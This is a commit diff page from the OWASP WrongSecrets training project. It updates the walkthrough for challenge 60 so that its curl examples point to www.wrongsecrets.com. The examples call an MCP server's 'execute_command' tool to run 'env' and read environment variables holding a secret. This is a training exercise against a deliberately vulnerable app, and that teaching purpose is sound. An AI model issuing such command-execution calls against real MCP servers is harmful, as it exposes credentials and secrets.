Skip to content

Commit 5f961ae

Browse files
committed
updated instructions for using wrongsecrets online
1 parent cb53b25 commit 5f961ae

File tree

1 file changed

+9
-4
lines changed

1 file changed

+9
-4
lines changed

src/main/resources/explanations/challenge60.adoc

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,14 +22,16 @@ curl -s -X POST http://localhost:8090/mcp \
2222
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
2323
----
2424

25-
_Note_: working from wwww.wrongsecrets.com? Then please use
25+
[%collapsible, title="when working from www.wrongsecrets.com"]
26+
====
2627

2728
[source,bash]
2829
----
29-
curl -s -X POST https://wrongsecrets.com/mcp \
30+
curl -s -X POST https://www.wrongsecrets.com/mcp \
3031
-H 'Content-Type: application/json' \
3132
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
3233
----
34+
====
3335
3436
3537
Then, call the `execute_command` tool to retrieve environment variables and find the secret:
@@ -41,14 +43,17 @@ curl -s -X POST http://localhost:8090/mcp \
4143
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
4244
----
4345
44-
_Note_: working from wwww.wrongsecrets.com? Then please use
46+
47+
[%collapsible, title="when working from www.wrongsecrets.com"]
48+
====
4549

4650
[source,bash]
4751
----
48-
curl -s -X POST https://wrongsecrets.com/mcp \
52+
curl -s -X POST https://www.wrongsecrets.com/mcp \
4953
-H 'Content-Type: application/json' \
5054
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
5155
----
56+
====
5257
5358
5459
****

0 commit comments

Comments
 (0)